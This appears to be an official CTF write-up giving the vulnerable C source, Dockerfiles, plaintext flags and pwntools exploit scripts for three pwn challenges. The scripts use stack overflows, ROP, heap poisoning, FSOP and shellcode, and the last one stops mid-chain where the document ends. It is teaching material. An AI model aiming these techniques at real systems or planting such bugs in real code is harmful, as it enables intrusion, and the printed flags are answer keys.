[OFFICAL WRITE UP] - BlitzCTF 2025

1
// gcc ./chall.c -o chall -no-pie -fno-stack-protector -Wl,-z,relro,-z,now
2
#include <stdio.h>
3
#include <stdlib.h>
4
#include <string.h>
5
#include <time.h>
6
#include <unistd.h>
7
#include <fcntl.h>
8
#include <sys/time.h>
9
#include <stdint.h>
10

11
#define ENTROPY_SIZE 32
12
#define BUF_SIZE 64
13
#define BUF_SIZE2 4096
14

15
uint8_t entropy[ENTROPY_SIZE];
16

17
unsigned long get_rdtsc()
18
{
19
  struct timespec ts;
20
  clock_gettime(CLOCK_MONOTONIC, &ts);
21
  return (unsigned long)ts.tv_nsec;
22
}
23

24
__attribute__((constructor)) void generate()
25
{
26
  struct timeval tv;
27
  gettimeofday(&tv, NULL);
28

29
  int pid = getpid();
30
  unsigned long tsc = get_rdtsc();
31

32
  int fd = open("/dev/urandom", O_RDONLY);
33
  if (fd != -1)
34
  {
35
    read(fd, entropy, 16);
36
    close(fd);
37
  }
38

39
  memcpy(entropy + 16, &tv, sizeof(tv));
40
  memcpy(entropy + 16 + sizeof(tv), &pid, sizeof(pid));
41
  memcpy(entropy + 16 + sizeof(tv) + sizeof(pid), &tsc, sizeof(tsc));
42
}
43

44
void init()
45
{
46
  setbuf(stdin, NULL);
47
  setbuf(stderr, NULL);
48
  setbuf(stdout, NULL);
49
}
50

51
void xor_encrypt(char *buf, int n)
52
{
53

54
  for (ssize_t i = 0; i < n; i++)
55
  {
56
    buf[i] ^= entropy[i % ENTROPY_SIZE];
57
  }
58
}
59

60
void entropy_diagnostic()
61
{
62
  char buf[BUF_SIZE];
63
  size_t n;
64

65
  puts("\n[+] Running entropy diagnostics...");
66
  sleep(1);
67
  puts("[+] Provide diagnostic input: ");
68

69
  n = read(STDIN_FILENO, buf, BUF_SIZE);
70
  xor_encrypt(buf, n);
71

72
  puts("\n[+] Diagnostic result: ");
73
  write(STDOUT_FILENO, buf, n);
74
  puts("\n[+] Diagnostics complete.");
75
}
76

77
void entropy_injection()
78
{
79
  char buf[BUF_SIZE];
80
  size_t n;
81

82
  puts("\n[+] Injecting entropy into system: ");
83

84
  n = read(STDIN_FILENO, buf, BUF_SIZE2);
85
  xor_encrypt(buf, n);
86

87
  puts("\n[+] Processing injected entropy...");
88
}
89

90
void show_menu()
91
{
92
  puts("\n===================================");
93
  puts("       Entropy Mixer Control       ");
94
  puts("===================================");
95
  puts(" 1. Run entropy diagnostics        ");
96
  puts(" 2. Inject entropy manually        ");
97
  puts(" 3. Exit system                    ");
98
  puts("===================================");
99
  printf("> ");
100
}
101

102
int main()
103
{
104
  init();
105
  int choice;
106

107
  while (1)
108
  {
109
    show_menu();
110
    scanf("%d", &choice);
111
    getchar();
112

113
    switch (choice)
114
    {
115
    case 1:
116
      entropy_diagnostic();
117
      break;
118
    case 2:
119
      entropy_injection();
120
      break;
121
    case 3:
122
      puts("\n[+] Shutting down Entropy Mixer.");
123
      exit(0);
124
    default:
125
      puts("\n[-] Invalid selection. Please try again.");
126
    }
127
  }
128
}

1
FROM ubuntu:24.04
2

3
RUN apt-get update && \
4
  apt-get install -y socat && \
5
  apt-get clean
6

7
RUN useradd -md /home/challenge challenge && \
8
  echo "challenge:challenge" | chpasswd
9

10
WORKDIR /challenge
11
COPY ./chall .
12
COPY ./flag.txt .
13

14

15
RUN chmod 755 ./chall
16
RUN chmod a+x ./chall
17

18
USER challenge
19

20
CMD socat -T 300 -d -d TCP-LISTEN:9999,reuseaddr,fork EXEC:"./chall",pty,raw,echo=0

1
name: Entropy Mixer
2
author: Kaiz0r
3
difficulty: Medium
4
description: Entropy is the backbone of randomness, but is it always reliable?
5

6
value: 500
7
type: static
8
tags:
9
  - pwn
10

11
flags:
12
  - Blitz{4tt4ck3rs_d0n't_n33d_t0_gu3ss_wh3n_y0u_g1v3_4w4y_y0ur_3ntr0py_1n_d14gn0st1c5_us3rd4t4_4nd_t1m1ng_4r3_3n0ugh}
13

14
files:
15
  - ../public.zip

42 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwn import *
4
from subprocess import check_output
5
from time import sleep
6

7
# context.log_level = 'debug'
8
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
9
exe = context.binary = ELF('./chall_patched', checksec=False)
10
libc = exe.libc
11

12
slog = lambda name, addr: log.success(': '.join([name, hex(addr)]))
13

14
gdbscript = '''
15
init-pwndbg
16
b *0x40155f
17
b *0x401577
18
b *0x401588
19
c
20
c
21
c
22
'''.format(**locals())
23

24
def start(argv=[]):
25
    if args.GDB:
26
        p = process([exe.path] + argv)
27
        gdb.attach(p, gdbscript=gdbscript)
28
        pause()
29
        return p
30
    elif args.REMOTE:
31
        return remote(sys.argv[1], sys.argv[2])
32
    elif args.DOCKER:
33
        p = remote("0", 9999)
34
        context.terminal = ['tmux', 'splitw', '-h', '-l', '175', '-P', "-d"]
35
        sleep(0.5)
36
        pid = int(check_output(["pidof", "-s", "./chall"]))
37
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
38
        pause()
39
        return p
40
    else:
41
        return process([exe.path] + argv)
42

43
def leakKey():
44

45
    global key
46

47
    pt = b"\0"*32
48
    p.sendline(b"1")
49
    p.sendafter(b":", pt)
50
    p.recvuntil(b": ")
51
    data = p.recv()[1:33]
52
    key = xor(data, pt)
53
    log.info('Xor key: ' + key.hex())
54

55
def forgePayload(data):
56
    return xor(data, key)
57

58
# ==================== EXPLOIT ====================
59
p = start()
60

61
leakKey()
62

63
offset = 0x58
64
ret = 0x40101a
65
write_gadget = 0x401507
66

67
payload = forgePayload(flat({
68
    offset: [
69
        ret,
70
        exe.plt["printf"],
71
        exe.plt["puts"],
72
        exe.sym["main"]
73
    ]
74
}, filler=b'\0'))
75

76
p.sendline(b"2")
77
p.sendafter(b":", payload)
78

79
p.recvuntil(b'[+] Processing injected entropy...\n')
80
stack_leak = u64(p.recvline().strip().ljust(0x8, b'\0'))
81

82
main_rbp = stack_leak + 0x1b0
83
entropy_rsp = main_rbp - 0x70
84
fake_rbp = entropy_rsp + 0x70
85

86
slog("Stack leak", stack_leak)
87
slog("Main rbp", main_rbp)
88
slog("Entropy rsp", entropy_rsp)
89
slog("Fake rsp", fake_rbp)
90

91
payload = forgePayload(flat({
92

93
    offset - 8: [
94
        fake_rbp,
95
        write_gadget,
96
    ],
97

98
    0x70 - 8: [
99
        0x100,
100
        0,
101
        ret,
102
        exe.sym["main"],
103
    ]
104
}, filler=b'\0'))
105

106
p.sendline(b"2")
107
sleep(0.5)
108
p.sendafter(b":", payload)
109

110
p.recvuntil(b'entropy...\n')
111
libc_leak = u64(p.recvuntil(b'\n[+]', drop=True)[0xf0 + 0x8:])
112
libc.address = libc_leak - 0x2a28b
113
slog('libc leak', libc_leak)
114
slog('libc base', libc.address)
115

116
rop = ROP(libc)
117
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
118
pop_rsi_rbp = libc.address + 0x21b99b
119
ret = pop_rdi + 1
120

121
payload = forgePayload(flat({
122
    offset: [
123
        pop_rdi,
124
        next(libc.search(b'/bin/sh\0')),
125
        pop_rsi_rbp, 0, 0,
126
        libc.sym.execve
127
    ]
128

129
}, filler=b'\0'))
130

131
sleep(1)
132
p.sendline(b"2")
133
p.sendafter(b":", payload)
134

135
p.interactive()

1
//  gcc chall.c -o chall -fno-stack-protector -no-pie
2
#include <stdio.h>
3
#include <stdlib.h>
4
#include <string.h>
5

6
void win() {
7
    printf("You win!\n");
8
    system("/bin/sh");
9
}
10

11
int main() {
12
    char buf[0x100];
13

14
    ssize_t n = read(0, buf, sizeof(buf) + 0x18);
15
    puts(buf);
16

17
    if (buf[n - 1] != '\n')
18
        return main();
19

20
    return 0;
21
}

1
FROM ubuntu:24.04
2

3
RUN apt-get update && \
4
  apt-get install -y socat && \
5
  apt-get clean
6

7
RUN useradd -md /home/challenge challenge && \
8
  echo "challenge:challenge" | chpasswd
9

10
WORKDIR /challenge
11
COPY ./chall .
12
COPY ./flag.txt .
13

14
RUN chmod 755 ./chall
15
RUN chmod a+x ./chall
16

17
USER challenge
18

19
CMD socat -T 300 -d -d TCP-LISTEN:8088,reuseaddr,fork EXEC:"./chall",pty,raw,echo=0

1
name: Recursion
2
author: Kaiz0r
3
difficulty: Easy
4
description: Yep, a recursion challenge!
5

6
value: 500
7
type: static
8
tags:
9
  - pwn
10

11
flags:
12
  - Blitz{r3curs10n_1s_just_4n0th3r_w0rd_f0r_1t3r4t10n}
13

14
files:
15
  - ../public.zip

41 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwn import *
4
from subprocess import check_output
5
from time import sleep
6

7
context.log_level = 'debug'
8
# context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
9
exe = context.binary = ELF('./chall', checksec=False)
10
libc = exe.libc
11

12
gdbscript = '''
13
init-pwndbg
14
# init-gef-bata
15
b *0x4011CC
16
c
17
'''
18

19
def start(argv=[]):
20
    if args.REMOTE:
21
        return remote(sys.argv[1], sys.argv[2])
22
    elif args.DOCKER:
23
        context.terminal = ['tmux', 'splitw', '-h', '-l', '175', '-P', "-d"]
24
        p = remote("localhost", 8088)
25
        sleep(0.5)
26
        pid = int(check_output(["pidof", "-s", "./chall"]))
27
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
28
        pause()
29
        return p
30
    elif args.QEMU:
31
        if args.GDB:
32
            return process(["qemu-aarch64", "-g", "5000", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv)
33
        else:
34
            return process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv)
35
    else:
36
        return process([exe.path] + argv, aslr=True)
37

38
def debug():
39
    gdb.attach(p, gdbscript=gdbscript)
40
    pause()
41

42
# ==================== EXPLOIT ====================
43
p = start()
44

45
# debug()
46
p.send(b'A'*0x10)
47
sleep(1)
48
p.send(b'B'*0x20)
49

50
p.recvuntil(b'B'*0x20)
51
stack_leak = u64(p.recvline()[:-1].ljust(0x8, b'\0'))
52
success('stack leak @ %#x', stack_leak)
53

54
sleep(1)
55
p.send(b'C'*0x8 + p64(0x401207) + p64(exe.sym.win).ljust(0x100, b'\0') + p64(stack_leak-0x190))
56

57
sleep(1)
58
p.sendline(b'trigger')
59

60
p.interactive()

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <unistd.h>
4
#include <stdint.h>
5
#include <fcntl.h>
6
#include <malloc.h>
7
#include <seccomp.h>
8
#include <limits.h>
9

10
#define MAX_NOTE 16
11
#define MAX_SIZE 0x2f8
12

13

14
static char *chunks[MAX_NOTE] = {0};
15
static uint16_t sizes[MAX_NOTE] = {0};
16

17

18
static void filter(void)
19
{
20
    scmp_filter_ctx ctx;
21

22
    ctx = seccomp_init(SCMP_ACT_KILL);
23
    if (!ctx)
24
    {
25
        puts("seccomp_init() error");
26
        exit(EXIT_FAILURE);
27
    }
28

29
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 1,
30
                     SCMP_A0(SCMP_CMP_EQ, 0));
31
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
32
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 1,
33
                     SCMP_A0(SCMP_CMP_EQ, 1));
34
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0);
35
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
36
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0);
37

38
    if (seccomp_load(ctx) < 0)
39
    {
40
        seccomp_release(ctx);
41
        puts("seccomp_load() error");
42
        exit(EXIT_FAILURE);
43
    }
44

45
    seccomp_release(ctx);
46
}
47

48

49
static void setup(void)
50
{
51
    setvbuf(stdin, NULL, _IONBF, 0);
52
    setvbuf(stdout, NULL, _IONBF, 0);
53
    setvbuf(stderr, NULL, _IONBF, 0);
54
}
55

56
static void menu()
57
{
58
    puts("");
59
    puts("Welcome to SafeNote!");
60
    puts("Please select an option:");
61
    puts("1. Create a note");
62
    puts("2. Read a note");
63
    puts("3. Edit a note");
64
    puts("4. Delete a note");
65
    puts("5. Exit");
66
    printf("Your choice: ");
67
}
68

69

70
static uint64_t get_uint()
71
{
72
    char buf[0x10];
73
    ssize_t bytes_read = read(0, buf, sizeof(buf) - 1);
74
    if (bytes_read <= 0)
75
    {
76
        return UINT64_MAX; // Read error or EOF
77
    }
78

79
    buf[bytes_read] = '\0';
80

81
    if (bytes_read > 0 && buf[bytes_read - 1] == '\n')
82
    {
83
        buf[bytes_read - 1] = '\0';
84
    }
85

86
    char *endptr;
87
    uint64_t num = strtoul(buf, &endptr, 10);
88

89
    if (endptr == buf || (*endptr != '\0' && *endptr != '\n' && *endptr != ' ' && *endptr != '\t'))
90
    {
91
        return UINT64_MAX; // Invalid input
92
    }
93

94
    return num;
95
}
96

97

98
static void create_note()
99
{
100

101
    uint64_t idx;
102
    uint64_t size;
103

104
    printf("Index of the note (0-%d): ", MAX_NOTE - 1);
105

106
    idx = get_uint();
107
    if (idx >= MAX_NOTE || idx == UINT64_MAX)
108
    {
109
        puts("Invalid index. Please choose a number between 0 and 15.");
110
        return;
111
    }
112

113
    printf("Enter the size of the note (max 0x2f8): ");
114
    size = get_uint();
115
    if (size > MAX_SIZE || size == 0 || size == UINT64_MAX)
116
    {
117
        puts("Invalid size. Please choose a size between 1 and 0x2f8.");
118
        return;
119
    }
120

121
    if (size > UINT16_MAX)
122
    {
123
        puts("Size too large for internal representation.");
124
        return;
125
    }
126

127
    chunks[idx] = malloc(size);
128
    if (!chunks[idx])
129
    {
130
        puts("Memory allocation failed. Please try again.");
131
        return;
132
    }
133

134
    sizes[idx] = (uint16_t)size;
135
    puts("Note created successfully!");
136
}
137

138

139
static void read_note()
140
{
141
    uint64_t idx;
142

143
    printf("Index of the note (0-%d): ", MAX_NOTE - 1);
144
    idx = get_uint();
145
    if (idx >= MAX_NOTE || idx == UINT64_MAX)
146
    {
147
        puts("Invalid index. Please choose a number between 0 and 15.");
148
        return;
149
    }
150

151
    if (chunks[idx] == NULL)
152
    {
153
        puts("No note found at this index.");
154
        return;
155
    }
156

157
    printf("Data: ");
158
    puts(chunks[idx]);
159
}
160

161

162
static void edit_note()
163
{
164
    uint64_t idx;
165

166
    printf("Index of the note (0-%d): ", MAX_NOTE - 1);
167
    idx = get_uint();
168
    if (idx >= MAX_NOTE || idx == UINT64_MAX)
169
    {
170
        puts("Invalid index. Please choose a number between 0 and 15.");
171
        return;
172
    }
173

174
    if (chunks[idx] == NULL)
175
    {
176
        puts("No note found at this index.");
177
        return;
178
    }
179

180
    printf("Data: ");
181
    size_t n = read(0, chunks[idx], sizes[idx]);
182
    chunks[idx][n] = '\0'; // Ensure null-termination
183
}
184

185
static void delete_note()
186
{
187
    uint64_t idx;
188

189
    printf("Index of the note (0-%d): ", MAX_NOTE - 1);
190
    idx = get_uint();
191
    if (idx >= MAX_NOTE || idx == UINT64_MAX)
192
    {
193
        puts("Invalid index. Please choose a number between 0 and 15.");
194
        return;
195
    }
196

197
    if (chunks[idx] == NULL)
198
    {
199
        puts("No note found at this index.");
200
        return;
201
    }
202

203
    free(chunks[idx]);
204
    chunks[idx] = NULL;
205
    sizes[idx] = 0;
206
    puts("Note deleted successfully!");
207
}
208

209
int main(void)
210
{
211
    uint64_t choice;
212

213
    setup();
214
    filter();
215

216
    while (1)
217
    {
218
        menu();
219
        choice = get_uint();
220
        switch (choice)
221
        {
222
            case 1:
223
                create_note();
224
                break;
225
            case 2:
226
                read_note();
227
                break;
228
            case 3:
229
                edit_note();
230
                break;
231
            case 4:
232
                delete_note();
233
                break;
234
            case 5:
235
                puts("Exiting SafeNote. Goodbye!");
236
                exit(EXIT_SUCCESS);
237
            default:
238
                puts("Invalid choice. Please select a valid option.");
239
        }
240
    }
241

242
    return 0;
243
}

1
FROM ubuntu@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214
2

3
RUN apt-get update && \
4
    apt-get install -y --no-install-recommends \
5
    libseccomp-dev \
6
    libseccomp2 \
7
    socat \
8
    && rm -rf /var/lib/apt/lists/*
9

10
RUN useradd -m -u 1000 pwn
11
WORKDIR /home/pwn
12

13
COPY safenote ./
14
COPY flag.txt ./
15

16
RUN chown root:root safenote flag.txt && \
17
    chmod 755 safenote && \
18
    chmod 444 flag.txt
19

20
USER pwn
21

22
EXPOSE 9088
23

24
ENTRYPOINT ["socat"]
25
CMD ["TCP-LISTEN:9088,reuseaddr,fork", "EXEC:./safenote,stderr,pty,raw,echo=0"]

1
name: Safe Note
2
author: Kaiz0r
3
difficulty: Hard
4
description: Safe Note is my mini project, and I'm sure that it is one of the most secure note-taking applications out there (?)
5

6
value: 500
7
type: static
8
tags:
9
  - pwn
10

11
flags:
12
  - Blitz{s4f3_n0t3_n0t_s0_s4f3_wh3n_r34d_h4s_nUll_t3rmin4T10n}
13

14
files:
15
  - ../public.zip

54 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwn import *
4
from subprocess import check_output
5
from time import sleep
6

7
context.update(
8
    log_level='info',
9
    binary=ELF('./safenote_patched', checksec=False),
10
    terminal=[
11
        "wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".",
12
        "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"
13
    ]
14
)
15
exe = context.binary
16
# libc = ELF("./libc-2.31.so", checksec=False)
17
libc = exe.libc
18

19
gdbscript = '''
20
init-pwndbg
21
# init-gef-bata
22

23
brva 0x153C
24
brva 0x15B0
25
brva 0x14C7
26
brva 0x1442
27
brva 0x13FE
28
c
29
'''
30

31
def start(argv=[]):
32
    if args.REMOTE:
33
        return remote(sys.argv[1], sys.argv[2])
34
    elif args.DOCKER:
35
        p = remote("localhost", 9088)
36
        context.terminal = ['tmux', 'splitw', '-h', '-l', '175', '-P', "-d"] # Need to use tmux
37
        sleep(0.3)
38
        pid = int(check_output(["pidof", "-s", "./safenote"]))
39
        gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
40
        pause()
41
        return p
42
    elif args.QEMU:
43
        if args.GDB:
44
            # Open port 5000 for target remote in GDB
45
            return process(["qemu-aarch64", "-g", "5000", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv)
46
        else:
47
            return process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv)
48
    else:
49
        return process([exe.path] + argv, aslr=True)
50

51
def one_gadget(filename, base_addr=0):
52
  return [(int(i)+base_addr) for i in check_output(['one_gadget', '--raw', '-l0', filename]).decode().split(' ')]
53

54

55
class IOFile:
56
    def __init__(self, flags=0, IO_read_ptr=0, IO_read_end=0, IO_read_base=0,
57
                 IO_write_base=0, IO_write_ptr=0, IO_write_end=0, IO_buf_base=0,
58
                 IO_buf_end=0, IO_save_base=0, IO_backup_base=0, IO_save_end=0,
59
                 IO_marker=0, IO_chain=0, fileno=0, lock=0, vtable_offset=0, vtable=0):
60
        self._flags = flags
61
        self._IO_read_ptr = IO_read_ptr
62
        self._IO_read_end = IO_read_end
63
        self._IO_read_base = IO_read_base
64
        self._IO_write_base = IO_write_base
65
        self._IO_write_ptr = IO_write_ptr
66
        self._IO_write_end = IO_write_end
67
        self._IO_buf_base = IO_buf_base
68
        self._IO_buf_end = IO_buf_end
69
        self._IO_save_base = IO_save_base
70
        self._IO_backup_base = IO_backup_base
71
        self._IO_save_end = IO_save_end
72
        self._IO_marker = IO_marker
73
        self._IO_chain = IO_chain
74
        self._fileno = fileno
75
        self._lock = lock
76
        self._vtable_offset = vtable_offset
77
        self._vtable = vtable
78

79
    def pack(self):
80
        """Pack the IO file structure into bytes"""
81
        struct = p32(self._flags) + p32(0x00) + \
82
                p64(self._IO_read_ptr) + \
83
                p64(self._IO_read_end) + \
84
                p64(self._IO_read_base) + \
85
                p64(self._IO_write_base) + \
86
                p64(self._IO_write_ptr) + \
87
                p64(self._IO_write_end) + \
88
                p64(self._IO_buf_base) + \
89
                p64(self._IO_buf_end) + \
90
                p64(self._IO_save_base) + \
91
                p64(self._IO_backup_base) + \
92
                p64(self._IO_save_end) + \
93
                p64(self._IO_marker) + \
94
                p64(self._IO_chain) + \
95
                p32(self._fileno)
96
        struct = struct.ljust(0x78, b"\x00")
97
        struct += p64(self._vtable_offset)
98
        struct += p64(0x00)
99
        struct += p64(self._lock)
100
        struct = struct.ljust(0xd8, b"\x00")
101
        struct += p64(self._vtable)
102
        return struct
103

104
def debug():
105
    gdb.attach(p, gdbscript=gdbscript)
106
    pause()
107

108
def create(idx: int, size: int):
109
    p.sendlineafter(b': ', b'1')
110
    p.sendlineafter(b'Index of the note (0-15): ', str(idx).encode())
111
    p.sendafter(b'(max 0x2f8): ', str(size).encode())
112

113
def read(idx: int):
114
    p.sendlineafter(b': ', b'2')
115
    p.sendlineafter(b'Index of the note (0-15): ', str(idx).encode())
116

117
def edit(idx: int, data: bytes):
118
    sleep(0.2)
119
    p.sendlineafter(b': ', b'3')
120
    p.sendlineafter(b'Index of the note (0-15): ', str(idx).encode())
121
    p.sendafter(b': ', data)
122

123
def delete(idx: int):
124
    p.sendlineafter(b': ', b'4')
125
    p.sendlineafter(b'Index of the note (0-15): ', str(idx).encode())
126

127

128
# ==================== EXPLOIT ====================
129
p = start()
130

131
# Clean unsortedbin
132
for _ in range(9):
133
    create(0, 232)
134
    create(0, 232)
135

136
# Leak heap address
137
create(0, 40)
138
read(0)
139
p.recvuntil(b'Data: ')
140
heap_base = u64(p.recvline()[:-1].ljust(0x8, b'\0')) >> 12 << 12
141
success('heap base @ %#x', heap_base)
142

143
# Leak libc address & create 2 duplicate chunks
144
for i in range(9):
145
    create(i, 0x2f8)
146

147
create(9, 0xf0) # prevent top consolidation
148

149

150
for i in range(7):
151
    delete(i)
152

153
## Fake fd/bk to bypass unsortedbin mitigation
154
payload = flat(
155
    heap_base + 0x46c0, heap_base + 0x46c0,  # Fake fd/bk of victim chunk point to fake main arena
156
    b'A' * 0x10, p64(0)*2,                   # Padding
157
    heap_base + 0x4690, heap_base + 0x4690,  # Fake fd/bk of main arena point back to victim chunk
158
    b'B' * 0x2b0,                            # Padding
159
    p64(0x300)                               # Fake prev_size
160
)
161

162

163
edit(7, payload)
164
delete(8) # Trigger forward consolidate (chunk 7 will consolidate with chunk 8)
165

166
read(7)  # The pointer still there so we can read data in chunk 7 easily
167
p.recvuntil(b'Data: ')
168
libc.address = u64(p.recvline()[:-1].ljust(0x8, b'\0')) - 0x1ecbe0
169
success('libc base @ %#x', libc.address)
170

171
for i in range(7):
172
    create(i, 0x2f8)
173

174
create(15, 0x2f8) # Duplicate chunks
175

176
# Leak ld address
177
if args.REMOTE or args.DOCKER:
178
    target = libc.address + 0x247d78
179
else:
180
    target = libc.address + 0x24ba10
181

182
info('target @ %#x', target)
183

184
delete(0)
185
delete(7)
186

187
edit(15, p64(target))
188

189
create(7, 0x2f8)
190
create(0, 0x2f8)
191

192
delete(7)
193
read(15)
194
p.recvuntil(b'Data: ')
195

196
if args.REMOTE or args.DOCKER:
197
    ld_base = u64(p.recvline()[:-1].ljust(0x8, b'\0')) - 0x25631
198
else:
199
    ld_base = u64(p.recvline()[:-1].ljust(0x8, b'\0')) - 0x2e9e8
200

201
success('ld base @ %#x', ld_base)
202

203
# Leak code address
204
create(7, 0x2f8)
205

206
delete(1)
207
delete(7)
208

209
target = ld_base + 0x2e9f0
210
info('target @ %#x', target)
211

212
edit(15, p64(target))
213

214
create(7, 0x2f8)
215
create(1, 0x2f8)
216

217
delete(7)
218
read(15)
219
p.recvuntil(b'Data: ')
220

221
if args.DOCKER or args.REMOTE:
222
    exe.address = u64(p.recvline()[:-1].ljust(0x8, b'\0')) - 0x318
223
else:
224
    exe.address = u64(p.recvline()[:-1].ljust(0x8, b'\0')) - 0x5598
225

226
success('code base @ %#x', exe.address)
227

228
# Leak stack address
229
create(7, 0x2f8)
230

231
delete(2)
232
delete(7)
233

234
target = libc.sym.environ
235
info('environ @ %#x', target)
236

237
edit(15, p64(exe.sym.chunks))
238

239
create(7, 0x2f8)
240
create(2, 0x2f8)
241

242
edit(2, p64(target))
243
read(0)
244

245
p.recvuntil(b'Data: ')
246
stack_leak = u64(p.recvline()[:-1].ljust(0x8, b'\0'))
247
success('stack leak @ %#x', stack_leak)
248

249
# Write fake file to bss
250
def write1(addr, data):
251
    edit(2, p64(addr))
252
    edit(0, data)
253

254
if args.DOCKER or args.REMOTE:
255
    bss = exe.address + 0x4450
256
else:
257
    bss = exe.address + 0x57d0
258

259
rop_stack = bss + 0x300
260
info('rop_stack @ %#x', rop_stack)
261

262
fake = IOFile()
263
fake._IO_buf_base = 0x00
264
fake._IO_buf_end = rop_stack - 0x10
265
fake._IO_write_ptr = rop_stack
266
fake._IO_write_base = 0
267
fake._lock = libc.sym.__free_hook
268
fake._vtable = libc.sym._IO_file_jumps + 0xc0
269

270
write1(bss, fake.pack().ljust(0x100, b'\0'))
271

272
'''
273
   0x7e11da211f5d <setcontext+61>:      mov    rsp,QWORD PTR [rdx+0xa0]
274
   0x7e11da211f64 <setcontext+68>:      mov    rbx,QWORD PTR [rdx+0x80]
275
   0x7e11da211f6b <setcontext+75>:      mov    rbp,QWORD PTR [rdx+0x78]
276
   0x7e11da211f6f <setcontext+79>:      mov    r12,QWORD PTR [rdx+0x48]
277
   0x7e11da211f73 <setcontext+83>:      mov    r13,QWORD PTR [rdx+0x50]
278
   0x7e11da211f77 <setcontext+87>:      mov    r14,QWORD PTR [rdx+0x58]
279
   0x7e11da211f7b <setcontext+91>:      mov    r15,QWORD PTR [rdx+0x60]
280
   0x7e11da211f7f <setcontext+95>:      test   DWORD PTR fs:0x48,0x2
281
   0x7e11da211f8b <setcontext+107>:     je     0x7e11da212046 <setcontext+294>
282

283
   0x7e11da212046 <setcontext+294>:     mov    rcx,QWORD PTR [rdx+0xa8]
284
   0x7e11da21204d <setcontext+301>:     push   rcx
285
   0x7e11da21204e <setcontext+302>:     mov    rsi,QWORD PTR [rdx+0x70]
286
   0x7e11da212052 <setcontext+306>:     mov    rdi,QWORD PTR [rdx+0x68]
287
   0x7e11da212056 <setcontext+310>:     mov    rcx,QWORD PTR [rdx+0x98]
288
   0x7e11da21205d <setcontext+317>:     mov    r8,QWORD PTR [rdx+0x28]
289
   0x7e11da212061 <setcontext+321>:     mov    r9,QWORD PTR [rdx+0x30]
290
   0x7e11da212065 <setcontext+325>:     mov    rdx,QWORD PTR [rdx+0x88]
291
   0x7e11da21206c <setcontext+332>:     xor    eax,eax
292
   0x7e11da21206e <setcontext+334>:     ret
293
'''
294

295
setcontext_gadget = libc.address + 0x54f5d
296
info('setcontext gadget @ %#x', setcontext_gadget)
297

298
def write2(addr, data):
299
    edit(2, p64(addr))
300
    edit(0, p64(data))
301

302
# Overwrite __malloc_hook and _IO_list_all
303
info('malloc_hook @ %#x', libc.sym.__malloc_hook)
304
write2(libc.sym.__malloc_hook, setcontext_gadget)
305
write2(libc.sym._IO_list_all, bss)
306

307
sc_addr = stack_leak & ~0xfff
308
info('shellcode address @ %#x', sc_addr)
309

310
pop_rsp = libc.address + 0x34b4c # pop rsp ; ret ;
311
new_rsp = rop_stack + 0x100
312
info('new_rsp @ %#x', new_rsp)
313

314
# Setup address for setcontext after this old stack frame will pivot to new_rsp
315
sleep(1)
316
write2(rop_stack + 0xa0, new_rsp)
317
sleep(1)
318
write2(rop_stack + 0xa8, pop_rsp)
319

320
# Prepare a ROP chain
321
sleep(1)
322
stack = rop_stack + 0x120
323
info('stack @ %#x', stack)
324
write2(stack - 0x20 + 0, stack)
325

326
pop_rdi = libc.address + 0x23b6a  # pop rdi ; ret
327
pop_rsi = libc.address + 0x2601f  # pop rsi ; ret ;
328
pop_rdx = libc.address + 0x15fae6 # pop rdx ; pop rbx ; ret
329

330
sc = asm("""
331
mov rax, SYS_close
332
mov rdi, 0
333
syscall
334

335
mov rax, SYS_open
336
lea rdi, [rip+flag]
337
mov rsi, 0
338
mov rdx, 0
339
syscall
340

341
mov rdi, rax
342
xor rax, rax
343
lea rsi, [rip+flag]
344
mov rdx, 0x100
345
syscall
346

347
mov rdi, SYS_write
348
lea rsi, [rip+flag]
349
mov rdx, rax
350
mov rax, 1
351
syscall
352

353
mov rdi, 0x00
354
mov rax, SYS_exit_group
355
syscall
356
flag:
357
    .ascii "/home/pwn/flag.txt"
358
    .byte 0
359
""")
360

361
sleep(1)
362
# mprotect(sc_addr, 0x1000, 7)
363
write2(stack + (8 * 0), pop_rdi)
364
write2(stack + (8 * 1), sc_addr)
365
write2(stack + (8 * 2), pop_rsi)
366
write2(stack + (8 * 3), 0x1000)
367
write2(stack + (8 * 4), pop_rdx)
368
write2(stack + (8 * 5), 7)
369
write2(stack + (8 * 6), 0)
370
write2(stack + (8 * 7), libc.sym.mprotect)
371

372
sleep(1)
373
# read(0, sc_addr, len(sc))
374
write2(stack + (8 * 8), pop_rdi)
375
write2(stack + (8 * 9), 0)
376
write2(stack + (8 * 10), pop_rsi)
377
write2(stack + (8 * 11), sc_addr)
378
write2(stack + (8 * 12), pop_rdx)
379
write2(stack + (8 * 13), len(sc)) # len
380
write2(stack + (8 * 14), 0)       # junk
381
write2(stack + (8 * 15), libc.sym.read)
382
write2(stack + (8 * 16), sc_addr)
383

384
